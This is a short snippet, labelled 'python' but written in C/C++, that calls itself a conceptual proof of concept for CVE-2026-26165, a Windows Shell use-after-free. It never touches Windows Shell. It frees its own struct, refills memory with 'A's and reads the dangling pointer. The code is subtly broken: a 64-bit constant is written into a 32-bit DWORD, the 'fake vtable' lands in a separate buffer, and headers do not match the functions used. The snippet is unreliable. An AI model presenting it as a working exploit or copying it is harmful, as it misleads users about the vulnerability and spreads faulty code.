The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <iostream>
// Conceptual PoC for CVE-2026-26165 (Windows Shell UAF)
// Note: Actual exploitation requires specific vulnerable APIs.
typedef struct _VULNERABLE_OBJECT {
DWORD64 vtable; // Virtual function table pointer
DWORD buffer[0x10];
} VULNERABLE_OBJECT;
void TriggerUAF() {
// Step 1: Allocate the vulnerable object
VULNERABLE_OBJECT* obj = (VULNERABLE_OBJECT*)malloc(sizeof(VULNERABLE_OBJECT));
printf("Object allocated at: %p\n", obj);
// Step 2: Free the object (Use After Free condition)
free(obj);
printf("Object freed.\n");
// Step 3: Re-allocate memory to occupy the freed space
// In a real attack, this would be controlled data to overwrite the vtable
DWORD* fake_data = (DWORD*)malloc(sizeof(VULNERABLE_OBJECT));
memset(fake_data, 0x41, sizeof(VULNERABLE_OBJECT)); // Fill with 'A's
fake_data[0] = 0x4141414141414141; // Fake vtable pointer
// Step 4: Trigger the use of the dangling pointer
// This simulates Windows Shell accessing the freed object
if (obj != NULL) {
printf("Attempting to use object... Crash or Code Execution expected.\n");
// Dereferencing the dangling pointer simulates the vulnerability trigger
DWORD64 val = obj->vtable;
}
}
int main() {
printf("CVE-2026-26165 PoC Simulation\n");
TriggerUAF();
return 0;
}